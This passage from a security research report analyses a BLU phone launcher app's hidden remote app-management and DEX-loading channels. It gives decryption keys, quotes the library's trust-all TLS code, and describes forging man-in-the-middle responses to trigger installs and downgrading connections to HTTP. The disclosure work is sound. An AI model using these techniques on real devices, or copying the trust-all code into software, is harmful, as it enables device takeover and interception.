D33CPPJ4s4QbaSPN%2B1N0wZa0kWGiNfoz4CXWtnWCnD8upgu61Q%2BiUnqKTYrbQTi2GgLPivaEHNGzraEnXplTLcMievEsOUHaTnt%2F7eQ70W8EiLq0
S7MKF7HXO2aH9BdcBvpslbKafBgyjqoxbVGg8X4ynY1If2ERB%2FJg%2FTcOkoRFtUOa3XhDsABpsxyJcbneFIeJjAX1MymR%2B7T9n%2FdLDSCCAgbD4y
5%2BW5jflee2jwCtg0IyN6RtsBeb07NZTL6NRbdUho4VPRdO1VBMGRDhmlf4KvDgA86vH8weDSq%2BhW0P%2Bh%2BlqgSGUoFj68L1UPrG4LmClkMMcbAq
l8ky3H1E2Df7l3rYk10Qnu0a0RvhoVecWiICtvZJaPcHlBv0%2Fo1YRXPtSMM%2FEDctBUigNqKLefp8%2BLrmj9FdqwulkaRz%2FqWHp9HRhUzmTRdqlm
Zi6wpJtZpMzHn74b%2FTwyyYms8XHhdMU57EKGGXv3z0jktx9jgSSRrsAp87WiudL82kbJ2FTB%2BdV%2B08HNEJ92DTV6VIF5Yh0WbRHtWYLV1qAmRANc
KR9XB6cP9bCT3SUxgucLE7PLubrysT4nMUx36rR0U05e4AOMCpnJIB2awegTEAITVB%2FA43Vb32T29ulIbUqSmzjgsL7aEsg48lLq6p%2FZg5bhestHkL
5lvDufx04eDKWfu%2BfBCk2pjo4yaML3WPks818%2FkVi8Lsa4XWQ7%2FPPjNGyzk%2BVLlUwr5l%2BXPhmpWCS%2FJqKAzXCSrghudq7XiSHYOT%2F6lF
Ev2YeCaI4rkC8heeKTWtUbrueZbJzwraFMpguRsIPGSAqLmYYHMfSVJwzTHxCyMDNLRxJag%3D%3D";
String key = "sdfsdfi23eswrfj5d521dsf@@#!!%$@.1";
String url_decoded_params_header = java.net.URLDecoder.decode(params_header, "UTF-8");
String decrypted = XXTEA.decryptBase64StringToString(url_decoded_params_header, key.getBytes());
String plaintext = java.net.URLDecoder.decode(decrypted, "UTF-8");
Log.i(TAG, "plaintext=" + plaintext);
```

An implementation of XXTEA that is sufficient for exploitation purposes is provided in the footnote, where the "decryptBase64StringToString" method can be used after the input string undergoes a URL decoding both before and after decryption using the XXTEA cipher.[12] Some notable device identifiers in the decrypted "params" header are "androidId" corresponding to the Android ID, "smt_sn" corresponding to the device serial number, "uni1_id" corresponding to the MD5 of the first IMEI, and "uni2_id" corresponding to the MD5 of the second IMEI. Below are the contents of the decrypted "params" header from a BLU Bold K50 test device.

```
{"androidId":"f06a6ce05ae4fa7e","androidVerCode":34,"androidVerName":"BL-
K80AGE5.FHDJ.U.0826_1449.V2.17","androidVersion":"14","appVersion":1402400810,"appVersionCode":"14.0.24
0810","bitAbis":64,"brand":"BLU","channel":"release","chipid":"7abb96e6f44170b4844447500495f6a07","count
ry":"US","cpu":"0 ","dpi":480,"language":"en","manufacturer":"BLU","model":"BOLD
K50","netStatus":3,"packageName":"com.android.launcher3","platform":"mt6835","project_identify":"odm","
ramSize":7804560,"romSize":244483850240,"screenHeight":2160,"screenSize":"1080*2160","screenWidth":1080
,"sdCardSize":"244483850240","smt_sn":"KC554061200488","systemVersion":"unknown","tid":"00549f2f-e20a-
4dad-8834-5da6e9471177","ua":"Dalvik/2.1.0 (Linux; U; Android 14; BOLD K50
Build/UP1A.231005.007)","uni1_id":"e6eadd4614c6e8f2e5924207b82b27c8","uni2_id":"be6c0882f66b0f6a9f00c06
4bb209ddf"}
```

Table 6 provides a summary of the observed URLs that the "PriLauncher" app requested during our analysis. Most of the URLs in Table 6 have a subdomain of "gatewaysg.hwprize.com", although these requests can also occur using the subdomains of "gatewayus.hwprize.com" and "gatewayeu.hwprize.com".

[11] https://en.wikipedia.org/wiki/XXTEA
[12] https://github.com/xxtea/xxtea-java/blob/master/src/main/java/org/xxtea/XXTEA.java

URL (querystring omitted)	Primary Purpose
`https://unity.hwprize.com/unity/project/rs/launcherServer`	Retrieves a URL prefix that is used for subsequent network requests (e.g., "`https://gatewaysg.hwprize.com/`"). This request occurs about every six to twelve hours.
`https://gatewaysg.hwprize.com/ics/api/actinfo/findActiveInfo`	Retrieves the number of days that the device has been actively communicating with the Prize Launcher app's network infrastructure. This request occurs every six hours.
`https://gatewaysg.hwprize.com/unity/api/manage/function/v1`	Determines which functions (e.g., app installation) are active and how many days they can be inactive for before becoming active. This request occurs every six hours.
`https://gatewaysg.hwprize.com/pull/api/setting`	Sets various settings with the app. This request occurs every six hours.
`https://gatewaysg.hwprize.com/pull/api/planlist`	Retrieves info about action(s) to perform on the device. This request occurs every four hours.
`https://gatewaysg.hwprize.com/pull/api/consult`	Serves as a secondary step in receiving concrete action(s) to perform on the device. This request only appears after the "*https://gatewaysg.hwprize.com/pull/api/planlist*" response provides action(s) to perform. The actual action(s) to perform are received in this response and can differ from those received in the response to "*https://gatewaysg.hwprize.com/pull/api/planlist*".
`https://gatewaysg.hwprize.com/pull/api/report`	Reports action(s) attempted on the device and also reports expired plans that were not fulfilled (a plan corresponds to an action with additional parameters). This request only occurs after the action(s) are attempted from the response to the request for "*https://gatewaysg.hwprize.com/pull/api/consult*".
`https://gatewaysg.hwprize.com/unity/business/launcher/widget/list`	Gets deep links for apps. This request occurs every four hours.
`https://gatewaysg.hwprize.com/theme/imgList`	Provides the launcher with wallpaper images. This request occurs after the device is rebooted.
`https://gatewaysg.hwprize.com/pull/stat/error/up`	Reports issues for failed action(s) (such as app installation errors). Only occurs after failed action(s).
`https://gatewaysg.hwprize.com/appstore/appinfo/downloadfault`	Reports issues downloading an app (e.g., incorrect package name). Only occurs after downloading issues are encountered.
`https://gatewaysg.hwprize.com/front/ota/api/conf/v1`	Updates the configuration. This request occurs every hour. This request does *not* use the xUtils3 library, so the connection should be downgraded to HTTP to be observed (explained later in this section).

`https://gatewaysg.hwprize.com/front/ota/api/tasks/v2`	Checks for DEX files to download and execute in the Prize Launcher app's context. This request occurs every four hours. This request does *not* use the xUtils3 library, so the connection should be downgraded to HTTP to be observed (explained later in this section).

Table 6. Summary of the observed URLs and their primary purpose.

The first network request that the "`PriLauncher`" app makes is a POST request for the "`https://unity.hwprize.com/unity/project/rs/launcherServer`" URL. This URL is hard-coded directly in the app, as is the "`https://unity.hwprize.com/unity/api/manage/function/v1`" URL. Of all the network requests, only the "`https://gatewaysg.hwprize.com/ics/api/actinfo/findActiveInfo`" URL is requested using a GET request method, whereas all other requests use the POST method. The request body for the "`https://unity.hwprize.com/unity/api/manage/function/v1`" URL is empty, where the aforementioned "`params`" header contains various device-specific information that the server can process to craft a tailored response. A concrete and unmodified JSON response from the server is provided below when the "`https://unity.hwprize.com/unity/project/rs/launcherServer`" URL is requested.

```
{
    "code": "00000",
    "data": {
        "brand": null,
        "id": null,
        "model": null,
        "serverUrl": "https://gatewaysg.hwprize.com/"
    },
    "msg": "success"
}
```

The most important part of the response is the value to the "`serverUrl`" key which in this example is "`https://gatewaysg.hwprize.com/`". The "`PriLauncher`" app uses this value as the base URL for subsequent requests, where the path component and querystring (if any) are appended to it (e.g., "`https://gatewaysg.hwprize.com/`*`pull/api/planlist`*"). This redirection allows for the initial request to point to an arbitrary domain in most subsequent requests, potentially for the purpose of load balancing or identifying the closest geographically-located server. The "`https://gatewaysg.hwprize.com/`" base URL makes use of HTTPS, although a URL prefix that uses the HTTP protocol can be returned (e.g., how "`http://example.com/`" is returned in Appendix C). The "`PriLauncher`" app uses the insecure xUtils3 library for some, but not all, of its network communications.

The xUtils3 library is insecure for HTTPS network requests as it accepts all SSL/TLS certificates by default, rendering it vulnerable to MITM attacks with self-signed certificates that do not have a certificate chain to a valid root of trust on the device, and where DNS spoofing attacks can be used to facilitate the MITM attacks. The source code, from xUtils3 GitHub repo, for the "`javax.net.ssl.SSLSocketFactory org.xutils.http.app.DefaultParamsBuilder.getSSLSocketFactory()`" method is provided below.[13] The "`PriLauncher`" app uses the "`org.xutils.http.app.DefaultParamsBuilder`" class to fulfill the "`org.xutils.http.app.ParamsBuilder`" interface when initializing requests for URLs, using the "`void org.xutils.http.RequestParams(java.lang.String)`" constructor. This implementation results in the insecure trust manager being used for HTTPS connections.

13 https://github.com/wyouflf/xUtils3/blob/master/xutils/src/main/java/org/xutils/http/app/DefaultParamsBuilder.java#L63

```
/**
 * 自定义SSLSocketFactory
 */
@Override
public SSLSocketFactory getSSLSocketFactory() throws Throwable {
    return getTrustAllSSLSocketFactory();
}
```

The "`getSSLSocketFactory()`" method serves as a wrapper for the "`javax.net.ssl.SSLSocketFactory org.xutils.http.app.DefaultParamsBuilder.getTrustAllSSLSocketFactory()`" method, where its source code is provided below in its entirety.[14]

```
public static SSLSocketFactory getTrustAllSSLSocketFactory() {
    if (trustAllSSlSocketFactory == null) {
        synchronized (DefaultParamsBuilder.class) {
            if (trustAllSSlSocketFactory == null) {

                // 信任所有证书
                TrustManager[] trustAllCerts = new TrustManager[]{new X509TrustManager() {
                    @Override
                    public X509Certificate[] getAcceptedIssuers() {
                        return new X509Certificate[0];
                    }
                    @Override
                    public void checkClientTrusted(X509Certificate[] certs, String authType) {
                        LogUtil.d("checkClientTrusted:" + authType);
                    }
                    @Override
                    public void checkServerTrusted(X509Certificate[] certs, String authType) {
                        LogUtil.d("checkServerTrusted:" + authType);
                    }
                }};
                try {
                    SSLContext sslContext = SSLContext.getInstance("TLS");
                    sslContext.init(null, trustAllCerts, null);
                    trustAllSSlSocketFactory = sslContext.getSocketFactory();
                } catch (Throwable ex) {
                    LogUtil.e(ex.getMessage(), ex);
                }
            }
        }
    }
    return trustAllSSlSocketFactory;
}
```

The most notable aspect of the "`getTrustAllSSLSocketFactory()`" method is that an "`SSLContext`" object is initialized with a custom "`javax.net.ssl.X509TrustManager`" implementation and a variable name of "`trustAllCerts`" that indeed accepts all SSL/TLS certificates. This "`X509TrustManager`" performs *no validation* of the SSL/TLS certificates received from the server, and is used as an argument to create a "`SSLSocketFactory`" object. Because the implementation of the "`X509TrustManager`" cannot throw a "`java.security.cert.CertificateException`" or other relevant exception, then *all* certificates it receives will be accepted. When viewed cynically, this implicit trust of certificates for HTTPS connections may have been implemented in this manner to give the false impression of secure network communications, as simply utilizing HTTP in modern apps is more likely to be subject to immediate scrutiny. At a surface level, using HTTPS appears

14

https://github.com/wyouflf/xUtils3/blob/master/xutils/src/main/java/org/xutils/http/app/DefaultParamsBuilder.java#L84

to provide more security than simply using HTTP, in which its usage as being insecure would be much easier to identify.

As mentioned earlier, the "`https://unity.hwprize.com/unity/project/rs/launcherServer`" URL response provides a base URL where the "`path`" component (and possibly the "`querystring`" component) is appended to it for subsequent network communication. This dynamic URL construction allows for flexibility, where the "`path`" components appear in the app's code without a full URL (e.g., "`pull/api/planlist`"). We provide various URLs which use "`https://gatewaysg.hwprize.com/`" as a base URL, although this could differ depending on which URL prefix is instructed to be used by the server. An explanation of various observed URLs and their functions is provided below, where the requests for each of these URLs use the insecure xUtils3 library that is susceptible to MITM attacks due to the lack of validation of the server certificate. The "`PriLauncher`" app makes extensive use of GSON to convert JSON to/from instances of data classes.[15] In Appendix C, there are various comments about the type of some of the fields, as well as the data types that the JSON object converts to inside the app (e.g., "`com.pri.app.beans.ConditionClient`").

3.3 Individual URL Endpoint Analysis

https://gatewaysg.hwprize.com/ics/api/actinfo/findActiveInfo

The "`PriLauncher`" app makes GET requests for this URL, where it provides various identifying information in the "`params`" header. The server provides a JSON response, such as the one below, which indicates how long the device has been actively communicating with the Prize Launcher app's servers.


```
{
    "code": "00000",
    "data": {
        "act_date": "20240916",
        "act_days": 32,
        "server_time": "2024-10-18 12:31:21",
        "server_timestamp": 1729225881054
    },
    "msg": "成功找到激活记录"
}
```


As shown in the example above, the number of days that the device has been activated is referenced by the "`act_days`" key. This request informs the "`PriLauncher`" app of the number of days it has been registered with the server, which plays a role when examining the "`protectDay`" value from the various settings contained in the "*https://gatewaysg.hwprize.com/unity/api/manage/function/v1"* response so it can determine if and when a function can be performed.

https://gatewaysg.hwprize.com/unity/api/manage/function/v1

The "`PriLauncher`" app makes POST requests for this URL, where the JSON response is ultimately parsed into numerous "`com.pri.app.function.FunctionManagerBean`" objects. These objects allow the server to dynamically set which capabilities the "`PriLauncher`" app can perform on the device. A small snippet is provided below, showing various capabilities in the "`key`" key and their corresponding "`status`" key ("`1`" for enabled and "`0`" for disabled), and also a "`protectDay`" key. If the device has been registered with the server (sent in the response for the "*https://gatewaysg.hwprize.com/ics/api/actinfo/findActiveInfo*" *URL)* for more days than the "`protectDay`" integer value, then it can perform the associated behavior (e.g., "`icon-title-replace`"). Below is an example where, residing in the United States, we observed that the values to the "`status`" keys were always "`0`" (i.e., disabled). When exploiting these vulnerabilities in the "`PriLauncher`" app, an attacker can intercept and respond to the network requests (due to the previously described lack of SSL/TLS certificate validation), and enable these

[15] https://github.com/google/gson

capabilities by providing a response formatted like the example below (and as provided in Appendix C). The app may alternatively use the "*https://unity.hwprize.com/unity/api/manage/function/v1"* URL for the same purpose, where this full URL is directly hard-coded into the app code.


```
...
{
    "key": "install",
    "protectDay": 0,
    "status": 1
},
{
    "key": "uninstall",
    "protectDay": 0,
    "status": 1
},
{
    "key": "reddot-open",
    "protectDay": 0,
    "status": 1
},
{
    "key": "icon-title-replace",
    "protectDay": 0,
    "status": 1
},
{
    "key": "widget-put",
    "protectDay": 0,
    "status": 1
}
...
```


https://gatewaysg.hwprize.com/pull/api/setting

The "`PriLauncher`" app makes POST requests for this URL with an empty request body. The response body is a JSON object that contains various key-value pairs for settings. A concrete response from the server is provided below, where the content is included without any modification.


```
{
    "code": "00000",
    "data": {
        "pullSetting": {
            "desktopSuspensionSwitch": "off",
            "extraMbSize": 0,
            "extraMultiple": 2.0,
            "hijackChangeCnt": 0,
            "hijackHourBegin": 0,
            "hijackHourEnd": 0,
            "hijackSwitch": "off",
            "installedPopSwitch": "off",
            "keepRecordDays": 30,
            "lockScreenSwitch": "on",
            "openMinsInterval": 0,
            "pollingTime": 240,
            "protectionDays": 0,
            "pullMsgTypes": "all",
            "pullSwitch": "on",
            "screenBigImgInterval": 3,
            "shopSdkSwitch": "on",
            "showMsgCnt": 6,
            "suspensionBarSwitch": "on",
            "unlockOpenSwitch": "off"
        },
```

```
        "settings": {
            "garbageCleanSize": 300,
            "garbageCleanTime": 2100,
            "garbageSwitch": true,
            "pushFrequency": 24,
            "pushRequestFrequency": 6,
            "pushSwitch": true,
            "storageOcuppySize": 0.8,
            "uninstallBoxSwitch": false,
            "validPushTime": false
        }
    },
    "msg": "OK"
}
```


https://gatewaysg.hwprize.com/unity/business/launcher/widget/list

The "`PriLauncher`" app makes POST requests for this URL with an empty request body. The response is a JSON file that appears to associate custom URIs and URLs with specific package names, *potentially* to activate the apps. The two package names that appeared most commonly were "`com.dobest.securitycenter`" and "`com.dobest.dynamic`", where the former is available on Google Play.[16] One of the actual JSON responses for this URL is provided in Appendix C as a hard-coded for this URL.

https://gatewaysg.hwprize.com/pull/api/planlist

The "`PriLauncher`" app makes POST requests for this URL every four hours. The URL response provides the "`PriLauncher`" app with the initial actions to perform in its app context, although a subsequent request to a separate URL (i.e., *https://gatewaysg.hwprize.com/pull/api/consult*) is required to complete the action. The actions that are hard-coded within the "`PriLauncher`" app that can be processed are the following: "`uninstall`", "`install`", "`anyhow-install`", "`update-silent`", "`reddot-open`", "`icon-title-replace`", "`shortcut-put`", "`corner-mark`", and "`widget-put`". These action names tend to be descriptive with regard to their corresponding functionality. Performing MITM attacks on this request is key for hijacking and abusing the remote app management functionality the app exposes. The typical JSON response we observed is shown below.


```
{
    "code": "00000",
    "data": {
        "lastTimeStamp": 0,
        "planList": [],
        "serverTimeStamp": 1728232278689
    },
    "msg": "OK"
}
```


To be clear, we did not observe the server instruct the app to perform any actions (on any of our test devices) throughout our analysis. We injected network responses for this URL (and others) to dynamically demonstrate the potential capabilities of the app, which is possible since the app accepts all SSL/TLS certificates. The "`planList`" key contains an array of objects that are deserialized to "`com.pri.app.beans.PullPlan`" objects within the app using GSON. Internally, the app uses a database, also provided by the xUtils3 library, to store and retrieve objects at runtime.[17]

https://gatewaysg.hwprize.com/pull/api/consult

The "`PriLauncher`" app makes POST requests for this URL with form data showing which message and plan ID, corresponding to an action to attempt (e.g., `jsonDatas: [{"msgId":-2,"planId":-2}]`). The JSON response nests

[16] https://play.google.com/store/apps/details?id=com.dobest.securitycenter&hl=en_US
[17] https://github.com/wyouflf/xUtils3/tree/master/xutils/src/main/java/org/xutils/db

objects several levels deep, which are deserialized using GSON in the app and processed.
Note that when hijacking the response to the "*https://gatewaysg.hwprize.com/pull/api/consult*" URL, the actual action(s) provided in the response to the "*https://gatewaysg.hwprize.com/pull/api/planlist"* POST request *do not* need to be the same. For example, in Appendix C, the action returned from the "*https://gatewaysg.hwprize.com/pull/api/planlist"* POST request is always "`uninstall`", although the actions returned from the "*https://gatewaysg.hwprize.com/pull/api/consult*" URL differ (i.e., "`install`", "`widget-put`", and "`uninstall`"). The app directly performs these actions and subsequently reports the attempted actions, whether successful or not, by making a POST request for the "*https://gatewaysg.hwprize.com/pull/api/report*" URL.

https://gatewaysg.hwprize.com/pull/api/report
The "`PriLauncher`" app makes POST requests for this URL when it has attempted an action as a result of interaction with the "*https://gatewaysg.hwprize.com/pull/api/consult"* URL. It can also make this request if one of the actions it received from "*https://gatewaysg.hwprize.com/pull/api/planlist"* URL expired without being executed, as the action "plans" have a concrete start time and end time (i.e., "`startTime`" and "`endTime`"). The app may make requests to the "*https://gatewaysg.hwprize.com/pull/api/report"* URL in other circumstances as well.

https://gatewaysg.hwprize.com/theme/imgList
The "`PriLauncher`" app makes POST requests to this URL, where the response appears to simply be a list of URLs for image files. A concrete JSON response we observed from this URL is provided below.


```
{
    "code": "00000",
    "data": {
        "imgList": [
"https://d2ohzt9xlmmrtj.cloudfront.net/themes/package/im/wallpaper20230302180220415.png",
"https://d2ohzt9xlmmrtj.cloudfront.net/themes/package/im/wallpaper20240828151450972.jpg",
"https://d2ohzt9xlmmrtj.cloudfront.net/themes/package/im/wallpaper20230303173155815.jpg",
"https://d2ohzt9xlmmrtj.cloudfront.net/themes/package/im/wallpaper20240828144449413.jpg",
"https://d2ohzt9xlmmrtj.cloudfront.net/themes/package/im/wallpaper20230306164212484.jpg",
"https://d2ohzt9xlmmrtj.cloudfront.net/themes/package/im/wallpaper20240828151639292.jpg",
"https://d2ohzt9xlmmrtj.cloudfront.net/themes/package/im/wallpaper20230308114351784.jpg",
"https://d2ohzt9xlmmrtj.cloudfront.net/themes/package/im/wallpaper20230112150055877.jpg",
"https://d2ohzt9xlmmrtj.cloudfront.net/themes/package/im/wallpaper20240828151303238.jpg",
"https://d2ohzt9xlmmrtj.cloudfront.net/themes/package/im/wallpaper20230302170656633.png",
"https://d2ohzt9xlmmrtj.cloudfront.net/themes/package/im/wallpaper20230107102240386.jpg",
"https://d2ohzt9xlmmrtj.cloudfront.net/themes/package/im/wallpaper20230303172510697.jpg",
"https://d2ohzt9xlmmrtj.cloudfront.net/themes/package/im/wallpaper20230107102522888.jpg",
"https://d2ohzt9xlmmrtj.cloudfront.net/themes/package/im/wallpaper20230306165223589.jpg",
"https://d2ohzt9xlmmrtj.cloudfront.net/themes/package/im/wallpaper20230107101909986.jpg"
        ],
        "updateTime": 1730377592299
    },
    "msg": "OK"
}
```


https://gatewaysg.hwprize.com/front/ota/api/conf/v1
The app makes requests for changes to its configuration via this URL every hour. The configurations that it can receive are parsed into a "`com.hs.p.q.ConfigBean`" object, where the responses control the configuration values to development mode, verbose logging, and whether it is silent or active.

https://gatewaysg.hwprize.com/front/ota/api/tasks/v2
The app makes requests for this URL for *tasks* to perform (which are distinct from the previously described *actions*) such as downloading DEX files, dynamically loading them, and then executing them. The JSON response is parsed into a "`com.hs.cld.da.model.TaskListBean`" object using GSON. Several concrete examples of log messages generated when the request is processed are provided below, showing that there are no tasks to process, as indicated by the last two log messages. When processing this request, any DEX files will be downloaded to the

"/data/user/0/com.android.launcher3/files/.hs/.dx/.dxf" directory, examined for a DSA signature, and dynamically executed (if they contain the appropriate signature). This network endpoint serves as the channel for the DEX file operations in the "PriLauncher" app.

```
I hotota  : [HTTPHelper] requestWithHosts [NO:87] http: method=POST,
hosts=[https://gatewaysg.hwprize.com/], path=front/ota/api/tasks/v2
I hotota  : [HTTPHelper] [NO:87] http request:
url=https://gatewaysg.hwprize.com/front/ota/api/tasks/v2?m=e6eadd4614c6e8f2e5924207b82b27c8&n=WIFI(1)&s
yn=87&t=1728170529778
D TrafficStats: tagSocket(99) with statsTag=0xffffffff, statsUid=-1
I hotota  : [HTTPHelper] [NO:87] http done: target=, resp=4734, recv=1, length=-1, 200 OK
D hotota  : [GetTaskApi] [front/ota/api/tasks/v2] http(POST) done, host=, ms=4735,
resp={"code":0,"msg":"0
OK","data":"H4sIAAAAAAAAAAFIALf/o0SOcPhjxoVGXuGKnHrnJH0TEfiPzqOhM8OYo8UF6Upk0lKp2YXoIQtP3Y/RlWKoBKbge4y
FZ75NsNPjd5asZUGd2g7PmVXfaI59ekgAAAA="}
I hotota  : [GetTaskApi] get tasks:
response={"cursor":"0","next_cursor":"0","clear":0,"jars":[],"dexs":[],"apks":[]}
I hotota  : [TaskPro] da done, cursor=0, next=0, apk=0, jar=0, dx=0, conf=null, clr=0
```

3.4 DEX File Operations Channel

This section details the DEX File Operations Channel identified in the "PriLauncher" app and a breakdown of its operation. There is a worker that runs every five minutes to check for the presence of DEX files in the "/data/user/0/com.android.launcher3/files/.hs/.dx/.dxf" directory. Once verbose logging has been enabled (and the device has been rebooted at least once to enforce the updated setting), various log messages are emitted by the "PriLauncher" app with a log tag of "hotota", where some concrete logging output is provided below.

```
I hotota  : [TaskManager] process class com.hs.p.q.FetchHostPro done: id=FetchHostPro, ms=5
I hotota  : [TaskPro] process elapsed=6927 ,periods=14400
D hotota  : [TaskPro] on time idle, periods=14400, elapsed=6927, dx.v=
I hotota  : [DexManager] clearCache delete dex dir:
/data/user/0/com.android.launcher3/files/.hs/.dx/.dxf
I hotota  : [DexManager] find: []
D hotota  : [DexManager] dx not found or load failed, cnt=0
I hotota  : [TaskManager] process class com.hs.cld.da.TaskPro done: id=TaskPro, ms=20
I hotota  : [ConfigPro] process elapsed=3173 ,periods=3600
I hotota  : [TaskManager] process class com.hs.p.q.ConfigPro done: id=ConfigPro, ms=4
I hotota  : [TaskManager] process all tasks done: 30MS
I hotota  : [P.MainWorker] process tasks done ...
I LOG     : log enabled ...
I hotota  : [P.MainWorker] ignore dev mode ...
I hotota  : [P.MainWorker] process tasks start ...
E hotota  : [P.MainWorker] schedule next job package=com.android.launcher3, v=2_20221220, delays=312
I hotota  : [FetchHostPro] process elapsed=3493 ,periods=3600
I hotota  : [TaskManager] process class com.hs.p.q.FetchHostPro done: id=FetchHostPro, ms=5
I hotota  : [TaskPro] process elapsed=7247 ,periods=14400
D hotota  : [TaskPro] on time idle, periods=14400, elapsed=7247, dx.v=
I hotota  : [DexManager] clearCache delete dex dir:
/data/user/0/com.android.launcher3/files/.hs/.dx/.dxf
I hotota  : [DexManager] find: []
D hotota  : [DexManager] dx not found or load failed, cnt=0
I hotota  : [TaskManager] process class com.hs.cld.da.TaskPro done: id=TaskPro, ms=22
I hotota  : [ConfigPro] process elapsed=3493 ,periods=3600
I hotota  : [TaskManager] process class com.hs.p.q.ConfigPro done: id=ConfigPro, ms=5
I hotota  : [TaskManager] process all tasks done: 34MS
I hotota  : [P.MainWorker] process tasks done ...
```

The "com.hs.cld.da.dx.DexManager" class emits many of these log messages. It is periodically scheduled to run its "void com.hs.cld.da.dx.DexManager.load(android.content.Context)" method, which checks for

DEX files in the "`/data/user/0/com.android.launcher3/files/.hs/.dx/.dxf`" directory that have a file extension of "`.rf`". If an applicable file is identified, it then checks the signature at the beginning of the file to determine if there is a valid signature created by a DSA private key corresponding to the DSA public key with a key fingerprint of "`[01:36:2a:55:ee:ba:bc:5f:9f:34:fc:7e:b7:73:22:53:25:57:62:b2]`". The "`PriLauncher`" app developers did not hard-code the corresponding DSA private key in the app; if the developers had left the DSA private key in the Prize Launcher app's code base or resources, then it would have been possible to sign arbitrary DEX files and perform a MITM attack on network connections the "`PriLauncher`" app makes for the URL that requests DEX files, effectively achieving Remote Code Execution (RCE) as the "`system`" user. The default URL is "*https://gatewaysg.hwprize.com/front/ota/api/tasks/v2*" or a similar URL that has a different domain (e.g., "`gatewayus.hwprize.com`").

The "`PriLauncher`" app makes requests for the "*https://gatewaysg.hwprize.com/front/ota/api/tasks/v2*" and "*https://gatewaysg.hwprize.com/front/ota/api/conf/v1*" URLs, but these requests are *not* made using the insecure xUtils3 library, which we previously discussed. Instead, these requests are made utilizing the standard Java networking APIs (e.g., "`java.net.URL.openConnection()`") which are not pre-loaded with an insecure trust manager. The querystring for both URLs has been removed for brevity. Since the insecure xUtils3 library is not used for connections to these two URLs, the "`PriLauncher`" app rejects self-signed SSL/TLS certificates as it properly checks for a certificate chain to a valid root of trust on the device, using the standard Java networking APIs. In addition, these requests don't appear in "`mitmproxy`" by default due to certificate errors, although they will still appear in the verbose logging messages. We can downgrade the connection from HTTPS to HTTP, making the requests appear in the "`mitmproxy`" output, by injecting a JSON response via a MITM attack. This is accomplished by first injecting the "`serverUrl`" key to an arbitrary value that uses HTTP (e.g., "`http://example.com/`" as done in Appendix C) into the response for the "*https://unity.hwprize.com/unity/project/rs/launcherServer*" URL, as the "`PriLauncher`" app uses the insecure xUtils3 library for this request. This allows HTTP to be used, which can make MITM attacks much easier to achieve rather than when restricted to HTTPS. The "`PriLauncher`" app *can* make HTTP requests since it uses the following XML file for its "`android:networkSecurityConfig`" attribute in its manifest.

```
<?xml version="1.0" encoding="utf-8"?>
<network-security-config>
    <base-config cleartextTrafficPermitted="true" />
</network-security-config>
```

The request body for the "*https://gatewaysg.hwprize.com/front/ota/api/tasks/v2*" URL is shown below.

```
H4sIAAAAAAAAAAGiAl39o0SeYeFP35IWF6rV0HT/eFffmFEcZ4TKxvUDU1foMbXGCyRWcMsFfCXn4EaBtogZPCyqOY2T102cViBLxF/
31TarurOivm6C4d3sXoutAiDB6kFCEoJTA/OoU8ZCsdksZM7qcAZelP2xfDJo+AVKTohhFDH+wdsmjhj3+kNJX1kfFYzddz/3I0v+S0
BL7ZDpSXJ7UuvW+uIwVGxiFhkHdhHWdysySh2GLLgETAmSTkt2kru8x2Y0LTSRar+Z7sIwAU54uWk2wMyTkyZ5026vpgSIK7JJy+yxD
n8wl7BZeOkQhhABdCcPX75MuTpoDZ0dflYtuY4LACvIfwXfYixMkgAmqpkk+Nc5TLD9zmWmqAqKjVWCc1w/6zJkQyRjGb8u6TZDiQg1
/mqoV2uGiQxhvxQyRse/SjEOhysVKNiZSEA9MxN823LU+RAam5hiNXSO9W91d/Z6b1exHyODkKrO3OyDJplqrO5Paf6q/P3sxPJqxIz
uZob0DOzoJVuaNCHHDGSSNCmF16OgFu6CqMCY4qsI3aTkKeHvdSgd/MkbEV4DNftTvSuTfeXhb/yqtEAubOgCKkia+QVcxCxTpmnq8U
2GduNmt7mDmc3D0EQqIrVudY0wBHXuQggUqbjFt1aUmgriMb8At36CrdxdTGh8mv1v+lpXrBJOdyCurCbjEzALQFFikdyIaL70QUxa+
sCI0AGg+n9oIjG/SCPPGjzuFwP1/MsrdBGf1MIIrmsW91vf6X7easZdcB+77ATz5ngVGuOvNrnfmA7h05bKxjIxCG3wxLkzJQcs2X7f
yojW59I3g7WnHr1lxywFb0X+s76mrvPvnGKqNwN1dSyjX/9bBbZYLXrTJfwZQiEE1ZlsP43gqRPmHuyzyOK4wsqZ53jz8ZPCgdYhogI
AAA==
```

The request body (as well as the response body) can be converted to plaintext by first Base64 decoding the string, followed by decompressing it using GZIP, and finally decrypting using an "`AES/CFB/NoPadding`" cipher transformation, where the AES key is the MD5 digest of "`ota.api.d3b194c07b63d688969c258719ca3f0f`" and the Initialization Vector (IV) is "`0102030405060708`" (this process and the associated required values were determined through analysis of the Prize Launcher app). The request body for the POST requests (and responses, where applicable) to and from both the "*https://gatewaysg.hwprize.com/front/ota/api/tasks/v2*" URL and the

"*https://gatewaysg.hwprize.com/front/ota/api/conf/v1*" URL can be decrypted using the Java code provided in Appendix E.

The request body above decrypts to the following plaintext. This request and response were observed using the BLU F5 smartphone. There are some settings which might indicate that the device is an analysis device or being used by an atypical user such as the "`adb_enabled`", "`wifi_adb_enabled`", "`dev_root`", "`proxy_enabled`", "`vpn_enabled`", and "`net`" keys. It is possible, although speculative, that the server may examine these values and, in turn, modify its response to the client.


```
{"sdk_version":2,"channel":"release","dev_mfr":"BLU","dev_brand":"BLU","dev_model":"F5","dev
_uuid":"f322a3cf813b44a3823f53b6cdf2d638","dev_aid":"de196f2ca97d30a6","app_bundle":"com.and
roid.launcher3","app_vn":"14.0.240810","app_vc":"1402400810","os_lang":"en","os_version":"14
","os_api":"34","os_display":"BL-
E115S2.FHDJ.U.0822_0116.V2.13","os_incremental":"1724261183","net":"WIFI(1)","sm":"0","proxy
_enabled":"1","vpn_enabled":"0","adb_enabled":"1","wifi_adb_enabled":"0","dev_root":"0","smt
_sn":"","chip_id":"0de0a37ff7a3431c8cda144e44fa1f38","uni1_id":"e91087105645115a5ab349826e96
8af2","uni2_id":"70a0aa278aad3bd622e9d6f91001709f","project_identify":"odm","cursor":"0"}
```


The JSON response we consistently observed from the server is provided below.


```
{
    "code": 0,
    "data":
"H4sIAAAAAAAAAAFIALf/o0SOcPhjxoVGXuGKnHrnJH0TEfiPzqOhM8OYo8UF6Upk0lKp2YXoIQtP3Y/RlWKoBKbge4y
FZ75NsNPjd5asZUGd2g7PmVXfaI59ekgAAAA=",
    "msg": "0 OK"
}
```


